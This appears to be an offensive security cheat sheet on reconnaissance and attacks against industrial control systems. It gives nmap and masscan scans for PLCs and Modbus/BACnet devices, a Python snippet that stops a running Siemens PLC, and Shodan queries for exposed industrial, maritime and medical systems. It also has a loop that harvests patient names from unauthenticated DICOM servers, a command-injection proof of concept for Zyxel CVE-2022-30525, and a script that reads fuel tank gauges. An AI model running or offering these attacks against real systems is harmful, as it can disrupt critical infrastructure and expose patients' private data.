🦾 ICS/SCADA Enumeration Techniques for Effective Scanning, Network Reconnaissance, and Tactical Host Probing:
nmap -Pn -sT --scan-delay 1s --max-parallelism 1 \
-p
80,102,443,502,530,593,789,1089-1091,1911,1962,2222,2404,4000,4840,4843,4911,9600,19999,20000,20547,34962-34964,34980,44818,46823,46824,55000-55003 \
<target>Enumerates Siemens S7 PLC Devices and collects their device information. This script is based off PLCScan that was developed by Positive Research and Scadastrangelove (https://code.google.com/p/plcscan/). This script is meant to provide the same functionality as PLCScan inside of Nmap. Some of the information that is collected by PLCScan was not ported over; this information can be parsed out of the packets that are received.
Usage:
nmap --script s7-info.nse -p 102 <host/s>Output:
102/tcp open Siemens S7 PLC
| s7-info:
| Basic Hardware: 6ES7 315-2AG10-0AB0
| System Name: SIMATIC 300(1)
| Copyright: Original Siemens Equipment
| Version: 2.6.9
| Module Type: CPU 315-2 DP
| Module: 6ES7 315-2AG10-0AB0
|_ Serial Number: S C-X4U421302009For scalable scanning and reconnaissance, utilize masscan for faster enumeration:
masscan <IP Range> -p 102 -oL Possible_ICS.txt; cat Possible_ICS.txt | while read LINE; do nmap --script s7-info.nse -p 102 $(awk '{print $4}'); doneimport snap7
client = snap7.client.Client()
client.connect("<PLC IP>", 0, 0)
cpu_state = client.get_cpu_state()
if cpu_state == "S7CpuStatusRun":
client.plc_stop()nmap -Pn -sT -p502 --script modbus-discover <target>
nmap -sT -Pn -p502 --script modbus-discover --script-args modbus-discover.aggressive=true <target>nmap -Pn -sU -p47808 --script bacnet-info <target>
# Siemens Bacnet P2 Enumeration
nmap -Pn -sT -n -T4 -p5033 <target> nmap -Pn -sU -p44818 --script enip-info <target>
nmap -Pn -sT -p1911,4911 --script fox-info <target>
nmap -Pn -sU -p9600 --script omrom-info <target>
PCWorx devices allow unaunthenticated requests that query for system information.
nmap -Pn -sT -p1962 --script pcworx-info <target>
Shodan one-liner for enumerating Siemens PLCs, SCADA software, and HMI web pages
root@RoseSecurity:~# shodan search --fields ip_str,port siemens > Siemens.txt; echo "$(cat Siemens.txt | awk '{if ($2 == "80" || $2 == "443") {print $1;} }')" > Siemens.txt; eyewitness -f Siemens.txtHMI Screenshots
screenshot.label:ics
Siemens S7-1200 PLC
Location: /Default.mwsl
Siemens APOGEE Building Systems
Model Name: Siemens BACnet Field Panel
Siemens Desigo CC Building System Workstations
Model Name: Desigo CC
Omron CJ2 PLCs
Product name: CJ2*
Schneider Electric PLCs
Device Identification: Schneider Electric
Schneider Electric PowerLogic Series 800 Power Meter
PowerLogic PM800
Schweitzer Engineering Laboratories Power Quality and Revenue Meter
SEL-735 Telnet Server
Subsea Mission Control Panels
title:"Slocum Fleet Mission Control"
K4 Edge Routers and Maritime VSAT
"k4DCP5" country:US
KVH Commbox Terminals
html:commbox
Cobham Sailor VSAT
title:”sailor 900"
SAILOR 800 VSAT
Pepwave Cellular Routers
"Pepwave MAX"
cgi-bin/MANGA/index.cgi
Nordex Wind Turbine Farms
http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"
DICOM Medical X-Ray Machines
"DICOM Server Response" port:104
TeamViewer
port:5938 "\x17$\x11\x04\x00"
Yealink T49G VOIP Phones
Yealink T49G
Search for devices vulnerable to CVE-2022-22954:
VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution.
http.favicon.hash:-1250474341
Count patient names in US exposed DICOM medical servers with no authentication
$ shodan download search "tag:medical" "country:us"; shodan parse --fields ip_str search.json.gz > usa_dicom_ip ; for i in `cat usa_dicom_ip` ; do echo "///// Now connecting to $i ////" ; findscu -v -to 1 -P -k PatientName="*" $i 104 >> us_dicom_patient_names; wc -l us_dicom_patient_names ; doneRapid7 discovered and reported a vulnerability that affects Zyxel firewalls supporting Zero Touch Provisioning (ZTP), which includes the ATP series, VPN series, and the USG FLEX series (including USG20-VPN and USG20W-VPN). The vulnerability, identified as CVE-2022-30525, allows an unauthenticated and remote attacker to achieve arbitrary code execution as the nobody user on the affected device.
title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
poc:http://<IP>/cgi-bin/admin.cgi?Command=sysCommand&Cmd=id
- Determine your home IP or target of interest's IP address
root@RoseSecurity# shodan myip
69.69.69.69- Create network alert
root@RoseSecurity# shodan create home 69.69.69.69
Successfully created network alert!
Alert ID: 34W09AETJKAHEDPX- Confirm that alert is generated
root@RoseSecurity# shodan alert info home
home
Created: 2022-03-01:69:69:69000
Notifications: Disabled
Network Range(s):
> 69.69.69.69
Triggers:
> any- Turn on notification
root@RoseSecurity# shodan alert enable 34W09AETJKAHEDPX any
Successfully enabled Trigger: anyPython script to search for common ICS file extensions
# Author: selmux
import os
ics_path = r'/path/to/dir/' # change path
ics_ext = (
'.rtu',
'.rdb',
'.ctz',
'.exp',
'.hprb',
'.selaprj',
'.xml',
'.bkp',
'.ssnet',
'.ncz',
'.prj',
'.rcd',
'.SYS_BASCOM.COM',
'.pcmp',
'.pcmi',
'.pcmt',
'.spj',
'.plz',
'.spj.prev',
'.adb',
'.opt',
'.out',
'.prp',
'.scl',
'.icd',
'.ied',
'.cid',
'.scd',
'.ssd',
'.ctz',
'.ap12',
'.ap13',
'.ap14',
'.ap15',
'.ap16',
'.ap17',
'.zap12',
'.zap13',
'.zap14',
'.zap15',
'.zap16',
'.zap17',
'.conf',
'.gz',
'.zip',
'.urs',
'.tcw',
'.hmb',
'.m6b',
'.sim',
'.syl',
'.cfg',
'.pt2',
'.l5x',
'.txt',
'.pl',
'.paf',
'.ini',
'.cin',
'.xrf',
'.v',
'.trc',
'.s5d',
'.s7p',
'.mwp',
'.s7f',
'.arj',
'.ekb',
'.license',
'.lic',
'.vstax',
'.cv4',
'.dtq',
'.pc5',
'.l5x',
'.eas',
'.l5k',
'.apa',
'.lic',
'.gsd',
'.gsg',
'.gse',
'.gsf',
'.gsi',
'.gsp',
'.gss'
)
for root, dirs, files in os.walk(ics_path):
for file in files:
if file.endswith(ics_ext):
print(os.path.join(root, file))
In 2015, HD Moore, the creator of Metasploit, published an article disclosing over 5,800 gas station Automated Tank Gauges (ATGs) which were publicly accessible. Besides monitoring for leakage, these systems are also instrumental in gauging fluid levels, tank temperature, and can alert operators when tank volumes are too high or have reached a critical low. ATGs are utilized by nearly every fueling station in the United States and tens of thousands of systems internationally. They are most commonly manufactured by Veeder-Root, a supplier of fuel dispensers, payment systems, and forecourt merchandising. For remote monitoring of these fuel systems, operators will commonly configure the ATG serial interface to an internet-facing TCP port (generally set to TCP 10001). This script reads the Get In-Tank Inventory Report from TCP/10001 as a proof of concept to demonstrate the arbitrary access.
#!/usr/bin/env python3
import time
import socket
with open("/tmp/ATG_SCAN.txt",'r') as atg_file:
for line in atg_file.read().splitlines():
try:
atg_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 10001
search_str = 'IN-TANK INVENTORY'
msg = str('\x01' + 'I20100' + '\n').encode('ascii')
atg_socket.connect((line, port))
atg_socket.send(msg)
time.sleep(.25)
response = atg_socket.recv(1024).decode()
if search_str in response:
with open("/tmp/ATG_DEVICES.txt", 'a') as file2:
file2.write(line + "\t ->\tATG Device\n")
else:
continue
atg_socket.close()
except:
pass
atg_file.close()Video PoC: